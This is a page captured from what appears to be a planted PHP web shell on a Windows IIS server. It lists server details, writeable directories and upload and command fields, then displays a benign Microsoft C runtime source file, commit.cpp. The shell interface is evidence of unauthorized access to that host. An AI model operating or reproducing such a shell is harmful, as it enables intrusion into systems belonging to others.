403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Windows Kits/10/Source/10.0.19041.0/ucrt/lowio/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files (x86)/Windows Kits/10/Source/10.0.19041.0/ucrt/lowio/commit.cpp
//
// commit.cpp
//
//      Copyright (c) Microsoft Corporation. All rights reserved.
//
// Defines _commit(), which flushes a file buffer to disk.
//
#include <corecrt_internal_lowio.h>



// Flushes the buffer for the given file to disk.
//
// On success, 0 is returned.  On failure, -1 is returned and errno is set.
extern "C" int __cdecl _commit(int const fh)
{
    _CHECK_FH_RETURN(fh, EBADF, -1);
    _VALIDATE_RETURN((fh >= 0 && (unsigned)fh < (unsigned)_nhandle), EBADF, -1);
    _VALIDATE_RETURN((_osfile(fh) & FOPEN), EBADF, -1);

    return __acrt_lowio_lock_fh_and_call(fh, [&]()
    {
        if (_osfile(fh) & FOPEN)
        {
            if (FlushFileBuffers(reinterpret_cast<HANDLE>(_get_osfhandle(fh))))
                return 0; // Success

            _doserrno = GetLastError();
        }

        errno = EBADF;

        _ASSERTE(("Invalid file descriptor. File possibly closed by a different thread",0));
        return -1;
    });
}

Youez - 2016 - github.com/yon3zu
LinuXploit